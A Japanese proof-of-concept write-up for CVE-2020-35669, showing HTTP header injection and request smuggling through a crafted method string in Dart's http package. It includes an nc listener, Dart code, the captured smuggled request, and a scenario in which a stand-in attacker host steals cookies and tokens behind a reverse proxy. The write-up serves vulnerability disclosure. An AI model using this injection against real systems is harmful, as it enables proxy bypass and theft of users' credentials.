
CVE-2020-35669の概念実証エクスプロイト。Dartのhttpパッケージの細工されたメソッドパラメータを介したHTTPリクエストスマグリングとヘッダーインジェクションを実証し、リバースプロキシバイパスとホストヘッダー操作を可能にします。
1つ目のターミナルでダミーサーバーを実行してください
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
2つ目のターミナルで を実行してください
main.dartdart run main.dart
nc は以下のリクエストを受信するはずです
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
上記の diff が適用されておらず、ユーザーが rev-proxy の背後にいると仮定すると、example.com が提供するウェブサイトに到達した。
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
開発者がHTTP呼び出しの生成を抽象化するために Request を使用しており、ユーザーからメソッドパラメータを受け付けている場合、ユーザーはヘッダーインジェクションやパスフォージェリのような操作を行うことができる。
これは多くの方法で悪用される可能性があり、特にリバースプロキシが設置されている場合には非常に重要であると思われる。プロキシは host ヘッダーに基づいて誰かのリクエストを任意のホストに転送するだけかもしれない。
私が example.com を my-evil-uservice.org に置き換え、被害者がプロキシの背後にある会社で働いていると仮定しよう。つまり、ヘッダー/クッキー(トークン)付きの呼び出しをリダイレクトできるということだ。これに基づき、すべてのヘッダー/クッキーを含む呼び出しを盗むことが可能になる。